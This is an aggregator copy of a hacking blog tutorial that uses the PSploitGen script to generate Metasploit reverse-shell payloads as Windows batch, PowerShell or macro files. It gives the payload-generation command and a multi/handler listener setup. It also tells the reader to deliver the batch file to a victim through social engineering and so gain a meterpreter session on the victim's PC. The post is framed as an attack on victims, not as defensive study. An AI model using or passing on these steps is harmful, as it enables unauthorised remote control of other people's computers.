Quantcast
Channel: Hacking Articles|Raj Chandel's Blog
Viewing all articles
Browse latest Browse all 1812

Exploit Remote Windows PC using PSploitGen

$
0
0
This python script generates metasploit shellcode payloads in Windows batch file format, powershell script format, and MS-Office visual basic macro format. The default metasploit payloads are:

·         windows/meterpreter/reverse_tcp
·         windows/x64/meterpreter/reverse_tcp

If TCP port 443 is specified, the script will automatically generate an HTTPS payload also using 'windows/meterpreter/reverse_https'. The script will accept multiple TCP ports which are comma delimitered.

Open your kali Linux terminal and type the following command




Now type following command to create payload

./psploitgen.py –lhost 192.168.0.140 –lport 4444 –payloadwindows/x64/meterpreter/reverse_tcp


Now it will show a file with extension .bat and send your bat files to victim using any social engineering technique

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.140
exploit

Now send your batch files to victim using any social engineering technique. Now when the victim will use exe you will get the meterpreter of victim PC.


Viewing all articles
Browse latest Browse all 1812

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>